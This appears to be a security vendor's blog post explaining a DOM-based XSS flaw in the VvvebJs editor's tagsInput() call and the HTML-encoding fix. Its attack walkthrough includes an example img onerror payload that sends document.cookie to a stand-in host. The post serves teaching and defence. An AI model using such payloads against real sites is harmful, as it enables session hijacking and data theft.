Back to Blog
critical SEVERITY6 min read

How DOM-Based XSS Happens in jQuery tagsInput() and How to Fix It

A DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in the VvvebJs web editor's `inputs.js` file where the jQuery `tagsInput()` function at line 932 directly inserted user-controlled data into the DOM without sanitization. The fix applies HTML entity encoding to all string values before they reach the DOM, preventing malicious script injection while preserving legitimate tag functionality.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 17, 2026•Reviewed August 17, 2026

Answer Summary

This is a DOM-based Cross-Site Scripting (XSS) vulnerability (CWE-79) in JavaScript/jQuery where the `tagsInput()` function in VvvebJs's `inputs.js` inserts user-controlled data directly into the DOM without sanitization. The fix creates a sanitized copy of the data object, encoding all string properties as HTML entities using jQuery's `.text().html()` pattern before passing them to `tagsInput()`.

Vulnerability at a Glance

cweCWE-79
fixHTML entity encoding of all string properties via jQuery's `$('<div>').text(value).html()` before DOM insertion
riskArbitrary JavaScript execution in the context of the web editor session
languageJavaScript (jQuery)
root causeUser-controlled tag data passed directly to tagsInput() without HTML encoding
vulnerabilityDOM-Based Cross-Site Scripting (XSS)

Introduction

The _editor/VvvebJs/libs/builder/inputs.js file handles the rendering of various input components in the VvvebJs visual web editor, including a tag input system that lets users add and manage tags. At line 932, within the TagsInput component's init method, a critical flaw existed: the data object—which contains user-controlled values—was passed directly to jQuery's tagsInput() function without any sanitization. This meant that any string value a user typed into a tags field could be rendered as raw HTML in the DOM, opening the door to arbitrary JavaScript execution.

This vulnerability is particularly dangerous in a web editor context because editors typically operate with elevated privileges—access to page content, design elements, and potentially backend APIs. An attacker exploiting this XSS could hijack the editor session, modify page content silently, or exfiltrate sensitive data.

The Vulnerability Explained

The Vulnerable Code

Here's the original code at line 932 of inputs.js:

this.element = this.render("tagsinput", data);

$('input', this.element).tagsInput(data);//using default parameters

The data object flows from user interaction—specifically the values users type into tag input fields. The tagsInput() jQuery plugin takes this data and renders it into DOM elements. When data contains string properties (like tag names, placeholders, or default values), these strings are inserted into the HTML structure of the tags widget without any encoding.

How the Attack Works

Consider this specific attack scenario in the VvvebJs editor:

  1. An attacker crafts a malicious tag value such as:
    <img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie">

  2. This value enters the data object that gets passed to TagsInput.init()

  3. When $('input', this.element).tagsInput(data) executes, the plugin renders the tag value directly into the DOM

  4. The browser parses the injected <img> tag, triggers the onerror handler, and executes the attacker's JavaScript

  5. The malicious script now runs in the context of the web editor, with access to:
    - The editor's session cookies
    - The DOM of the page being edited
    - Any API endpoints the editor communicates with
    - Local storage data

In a multi-user environment (like a CMS), an attacker could inject a malicious tag that persists and fires when another user opens the editor, creating a stored XSS attack chain.

Real-World Impact

For the VvvebJs web editor specifically:
- Session hijacking: Steal editor authentication tokens
- Content manipulation: Silently inject malicious content into pages being designed
- Privilege escalation: If the editor has admin capabilities, the attacker gains admin access
- Supply chain attack: Inject malicious scripts into pages that will be served to end users

The Fix

The fix introduces HTML entity encoding for all string values in the data object before they reach the tagsInput() function:

Before (Vulnerable)

this.element = this.render("tagsinput", data);

$('input', this.element).tagsInput(data);//using default parameters

return this.element;

After (Fixed)

this.element = this.render("tagsinput", data);

let safeData = Object.assign({}, data);
for (let key in safeData) {
    if (typeof safeData[key] === 'string') {
        safeData[key] = $('<div>').text(safeData[key]).html();
    }
}
$('input', this.element).tagsInput(safeData);//using default parameters

return this.element;

How This Fix Works

  1. Object.assign({}, data) — Creates a shallow copy of the original data object. This preserves the original data for any other use while creating a sanitized version for DOM insertion.

  2. for (let key in safeData) — Iterates over every property in the data object, ensuring no string value is missed.

  3. typeof safeData[key] === 'string' — Only processes string values, leaving numbers, booleans, and objects untouched (since only strings can contain HTML injection payloads).

  4. $('<div>').text(safeData[key]).html() — This is the jQuery idiom for HTML entity encoding:
    - .text(value) sets the text content of a detached <div>, which automatically escapes HTML entities
    - .html() retrieves the escaped HTML string
    - Characters like <, >, ", ', and & become &lt;, &gt;, &quot;, &#39;, and &amp;

After encoding, the malicious payload <img src=x onerror="alert(1)"> becomes the harmless string &lt;img src=x onerror=&quot;alert(1)&quot;&gt; which renders as visible text rather than executable HTML.

Key Takeaways

  • Never pass raw user data to jQuery plugins that manipulate the DOM — the tagsInput() function at line 932 blindly trusted its input, creating an XSS vector in a web editor with elevated privileges.
  • The $('<div>').text(value).html() pattern is jQuery's standard encoding idiom — it leverages the browser's built-in text node escaping to safely encode HTML entities without external libraries.
  • Shallow-copying with Object.assign({}, data) before sanitization preserves the original data object for other consumers while ensuring the DOM-bound copy is safe.
  • Web editors are high-value XSS targets — because they operate with broad DOM access and often connect to backend APIs, a single XSS in VvvebJs's input handling could cascade into content injection across all pages built with the editor.
  • Type-checking before encoding (typeof === 'string') ensures the fix doesn't break non-string configuration values like numeric limits or boolean flags that tagsInput() may also expect.

How Orbis AppSec Detected This

  • Source: User-controlled string values entering the data parameter of the TagsInput.init() method in _editor/VvvebJs/libs/builder/inputs.js
  • Sink: $('input', this.element).tagsInput(data) at line 932, which inserts string properties directly into the DOM via the jQuery tagsInput plugin
  • Missing control: No HTML entity encoding or sanitization between user input and DOM insertion
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Added HTML entity encoding via $('<div>').text(value).html() for all string properties in the data object before passing to tagsInput()

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This DOM-based XSS vulnerability in VvvebJs's TagsInput component demonstrates a common but dangerous pattern in jQuery applications: trusting user data when passing it to plugins that manipulate the DOM. The fix is surgical and effective—encoding string values at the last safe moment before they enter the dangerous sink. For developers building web editors or any application that renders user-provided content, this serves as a reminder that every path from user input to DOM insertion must include proper output encoding, regardless of whether you control the rendering logic or delegate it to a third-party plugin.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #161

Related Articles

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.